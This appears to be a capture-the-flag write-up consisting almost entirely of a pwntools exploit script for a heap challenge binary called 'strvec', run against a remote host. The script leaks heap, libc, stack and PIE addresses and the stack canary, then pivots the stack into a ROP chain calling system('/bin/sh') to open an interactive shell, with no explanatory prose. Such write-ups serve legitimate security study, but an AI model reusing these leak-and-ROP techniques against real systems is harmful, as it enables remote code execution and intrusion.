Tags: pwn
Rating: 2.3
```
from pwn import *
context.log_level = 'debug'
# p = process('./strvec')
p = remote('168.119.108.148', 12010)
libc = ELF('./libc-2.31.so')
def setValue(index, data, withline = True):
p.sendlineafter('>', '2')
p.sendlineafter('idx =', str(index))
if withline:
p.sendlineafter('data =', data)
else:
p.sendafter('data =', data)
def getValue(index):
p.sendlineafter('>', '1')
p.sendlineafter('idx =', str(index))
name = p64(0) + p64(0x31)[:-2]
p.sendlineafter(':', name)
p.sendlineafter('n = ', str(0x1fffffff + 4))
setValue(100, 'A'*0x8)
setValue(7, 'B'*8)
setValue(6, 'B'*8)
getValue(100)
heap_leak = u64(p.recvline()[-7:-1].ljust(8, b'\0'))
heap_base = heap_leak - 0x330
info('heap_leak: ' + hex(heap_leak))
info('heap_base: ' + hex(heap_base))
setValue(102, p64(heap_base + 0x3a0))
setValue(103, p64(0) + p64(0x511))
setValue(104, p64(heap_base + 0x3a0))
for i in range(106, 115):
setValue(i, 'C'*8)
for i in range(110, 180):
setValue(6 * i, p64(0x510) + p64(0x21))
setValue(0x23, 'ZZZZ')
getValue(0x17)
libc_leak = u64(p.recvline()[-7:-1].ljust(8, b'\0'))
libc_base = libc_leak - 0x1ebbe0
libc_environ = libc_base + 0x1ef2e0
info('libc_leak: ' + hex(libc_leak))
info('libc_base: ' + hex(libc_base))
info('libc_environ: ' + hex(libc_environ))
setValue(0x23, p64(libc_environ))
getValue(0x1f)
stack_leak = u64(p.recvline()[-7:-1].ljust(8, b'\0'))
name_ptr = stack_leak - 0x128 + 0x10
pie_ptr = name_ptr + 0x40
canary_ptr = name_ptr + 0x8
info('stack_leak: ' + hex(stack_leak))
info('name_ptr: ' + hex(name_ptr))
info('pie_ptr: ' + hex(pie_ptr))
info('canary_ptr: ' + hex(canary_ptr))
setValue(0x23, p64(pie_ptr) + p64(canary_ptr + 1))
getValue(0x203)
pie_leak = u64(p.recvline()[-7:-1].ljust(8, b'\0'))
pie_base = pie_leak - 0x16c0
info('pie_leak: ' + hex(pie_leak))
info('pie_base: ' + hex(pie_base))
getValue(0x204)
canary = u64(b'\0' + p.recvline()[-8:-1].ljust(7, b'\0'))
info('canary: ' + hex(canary))
setValue(0x31, p64(name_ptr) + p64(heap_base + 0x2a0))
setValue(0x1f, "AAAA")
leave_ret = pie_base + 0x1666
pop_rdi_ret = pie_base + 0x1723
ret = pop_rdi_ret + 1
payload = p64(pop_rdi_ret)
payload += p64(libc_base + next(libc.search(b'/bin/sh\0')))
payload += p64(libc_base + libc.sym['system'])
setValue(0x38, p64(0) + p64(canary) + p64(heap_base + 0x948 + 0x10) + p64(leave_ret)[:-2])
setValue(6*110, p64(heap_base + 0x2a0) + p64(heap_base + 0x10))
for i in range(111, 180):
setValue(6 * i, payload)
setValue(0x20, p64(0)*2)
setValue(0, p64(0))
pause()
p.sendlineafter('>', '3')
p.interactive()
```